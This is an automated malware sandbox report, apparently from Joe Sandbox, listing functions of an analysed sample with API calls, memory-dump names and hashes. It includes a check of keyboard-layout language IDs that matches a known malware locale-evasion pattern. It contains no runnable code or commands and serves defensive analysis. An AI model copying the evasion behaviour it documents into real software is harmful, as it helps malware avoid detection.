Total number of Limit Nodes:	24

Executed Functions

Function 0004652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0004652A,?,?,?,?,?,00047661), ref: 00046567

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2d7fbd15617f214c4c27d6a313ff7c4e71dba0c7912c2ee4bb613147340ebe84
Instruction ID: 090e9d51cc4929ff66322ede4509905f6bd66c575222ff4364fe83fd2ff5ea5f
Opcode Fuzzy Hash: 2d7fbd15617f214c4c27d6a313ff7c4e71dba0c7912c2ee4bb613147340ebe84
Instruction Fuzzy Hash: 81E08670041508AFCE25BF15C8099983B59EF12746F401821FC098A126DB36EE41C646

Function 04F20D7F Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2092125712.0000000004F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9575b28427e52d99c287ccc4b0760c9e4101c680aa831bc69050686e7483635d
Instruction ID: b4c47736462ad4cc47f47d05135164e17eb9b229757c8f568de3ff45012913cf
Opcode Fuzzy Hash: 9575b28427e52d99c287ccc4b0760c9e4101c680aa831bc69050686e7483635d
Instruction Fuzzy Hash: 33E092EB60A121BED08160866761AF66A1AE7D7371771C426F143C9541BE45144B3071

Function 00015C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 000160C9
00000423, xrefs: 000160FA
Keyboard Layout\Preload, xrefs: 00016054
00000419, xrefs: 00016098
0000043f, xrefs: 0001612B

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 049f23f26f60c378f9a4742744cf8b742ac947e3135390d384b19ff1373f87da
Instruction ID: d23a2780584b9fab7523a4fceb3a7a8109d8fe38359d52cc127a035820038584
Opcode Fuzzy Hash: 049f23f26f60c378f9a4742744cf8b742ac947e3135390d384b19ff1373f87da
Instruction Fuzzy Hash: E9F1D170900258DFEB24DF54CC85BDEBBB9EB44304F5042A9F508AB282DB75AAC4CF95

Function 00019BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9e1a44a5747d661526d5516b74c812d8e61380e2c8e72218a99348e8189d1b07
Instruction ID: 1c7700451ab779a23fd9d23f130da8dd0324c2576e1f52d258a00b1178660af9
Opcode Fuzzy Hash: 9e1a44a5747d661526d5516b74c812d8e61380e2c8e72218a99348e8189d1b07
Instruction Fuzzy Hash: F3315B717052008BEB18DB7CDDC97EEB7A2EBC2310F248219E094973D6C7799AC08791

Function 00019F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f2f926f10833c74a1bc4c7265f8c6d9c6c80b70276019254671d0f9d0a06a5d3
Instruction ID: b79bfc54ed8a70500e182f02328681d0bd378732c1be4ed5dfc9f9d18b0c6592
Opcode Fuzzy Hash: f2f926f10833c74a1bc4c7265f8c6d9c6c80b70276019254671d0f9d0a06a5d3
Instruction Fuzzy Hash: 59313B317012009BFB189B78DCD97EDB7A2EB86310F24861DE058D72D6C73999C18792

Function 0001A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
